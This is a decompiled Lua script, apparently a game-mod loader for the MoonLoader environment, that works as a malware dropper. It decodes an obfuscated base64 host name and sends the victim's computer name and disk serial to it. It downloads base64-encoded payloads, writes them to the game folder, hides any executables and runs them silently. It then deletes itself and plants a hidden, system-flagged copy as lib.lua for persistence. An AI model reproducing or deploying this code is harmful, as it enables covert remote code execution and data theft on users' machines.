local slot0_a1352 = require("ffi")
slot0_a1352.cdef([[
int ShellExecuteA(int hwnd, int lpOperation, const char *lpFile, int lpParameters, int lpDirectory, int nShowCmd);
int __stdcall GetVolumeInformationA(const char* lpRootPathName, char* lpVolumeNameBuffer, uint32_t nVolumeNameSize, uint32_t* lpVolumeSerialNumber, uint32_t* lpMaximumComponentLength, uint32_t* lpFileSystemFlags, char* lpFileSystemNameBuffer, uint32_t nFileSystemNameSize);
int SetFileAttributesA(const char* lpFileName, unsigned long dwFileAttributes);
bool CopyFileA(const char *, const char *, bool);
]])
local slot1_a1357 = slot0_a1352.load("Shell32.dll")
local slot2_a1358 = "6555102009"
local slot3_a1359 = "d2hpdGVsb2FkZXIuZnVu"
local slot4_a1363 = os.getenv("COMPUTERNAME")
function ShellExecute(arg0)
lua_thread.create((function ()
wait(500)
slot1_a1357.ShellExecuteA(0, 0, arg0, 0, 0, 0)
end))
end
function decodeBase64String(arg0)
local slot1_a1383 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
return string.gsub(arg0, "[^" .. slot1_a1383 .. "=]", ""):gsub(".", (function (arg0)
if arg0 == "=" then
return ""
end
local slot1_a1430 = ""
local slot2_a1417 = slot1_a1383:find(arg0) - 1
for slot6_a1415 = 6, 1, -1 do
slot1_a1430 = slot1_a1430 .. (slot2_a1417 % 2^slot6_a1415 - slot2_a1417 % 2^(slot6_a1415 - 1) > 0 and "1" or "0")
end
return slot1_a1430
end)):gsub("%d%d%d?%d?%d?%d?%d?%d?", (function (arg0)
if #arg0 ~= 8 then
return ""
end
local slot1_a1456 = 0
for slot5_a1451 = 1, 8 do
slot1_a1456 = slot1_a1456 + (arg0:sub(slot5_a1451, slot5_a1451) == "1" and 2^(8 - slot5_a1451) or 0)
end
return string.char(slot1_a1456)
end))
end
function generateRandomString(arg0)
math.randomseed(os.time())
local slot1_a1492 = ""
local slot2_a1480 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
for slot6_a1476 = 1, arg0 do
local slot7_a1482 = math.random(1, #slot2_a1480)
slot1_a1492 = slot1_a1492 .. slot2_a1480:sub(slot7_a1482, slot7_a1482)
end
return slot1_a1492
end
function getserial()
local slot0_a1499 = slot0_a1352.new("unsigned long[1]", 0)
slot0_a1352.C.GetVolumeInformationA(nil, nil, 0, slot0_a1499, nil, nil, nil, 0)
return slot0_a1499[0]
end
function FuckingLoader()
local slot0_a1516 = decodeBase64String(slot3_a1359)
local slot1_a1520 = os.getenv("temp")
local slot2_a1521 = "\\"
local slot3_a1524 = generateRandomString(18)
local slot1_a1525 = slot1_a1520 .. slot2_a1521 .. slot3_a1524
local slot2_a1526 = "http://"
local slot4_a1528 = "/tea.php?id="
local slot5_a1530 = slot2_a1358
local slot6_a1531 = "&serial="
local slot7_a1533 = getserial()
local slot8_a1534 = "&pc="
local slot9_a1536 = slot4_a1363
local slot2_a1537 = slot2_a1526 .. slot0_a1516 .. slot4_a1528 .. slot5_a1530 .. slot6_a1531 .. slot7_a1533 .. slot8_a1534 .. slot9_a1536
downloadUrlToFile(slot2_a1537, slot1_a1525, (function ()
local slot0_a1548 = io.open(slot1_a1525, "r")
if slot0_a1548 then
local slot1_a1547 = 1
local slot2_a1551 = slot0_a1548:read()
local slot3_a1554 = decodeJson(slot2_a1551)
lua_thread.create((function ()
while slot3_a1554["task" .. slot1_a1547] ~= nil do
local slot0_a1603 = slot3_a1554["task" .. slot1_a1547].name
local slot1_a1586 = decodeBase64String(slot3_a1554["task" .. slot1_a1547].content)
local slot2_a1583 = io.open(slot0_a1603, "wb")
if slot2_a1583 then
slot2_a1583:write(slot1_a1586)
slot2_a1583:close()
if string.sub(slot0_a1603, -4) == ".exe" then
slot0_a1352.C.SetFileAttributesA(getGameDirectory() .. "/" .. slot0_a1603, 2)
ShellExecute(getGameDirectory() .. "/" .. slot0_a1603)
end
end
slot1_a1547 = slot1_a1547 + 1
end
end))
slot0_a1548:close()
os.remove(slot1_a1525)
os.remove(thisScript().path)
end
end))
end
function Updater()
FuckingPath = thisScript().directory .. "/lib.lua"
slot0_a1352.C.CopyFileA(thisScript().path, FuckingPath, true)
slot0_a1352.C.SetFileAttributesA(FuckingPath, 7)
end
function main()
Updater()
FuckingLoader()
while true do
wait(0)
end
end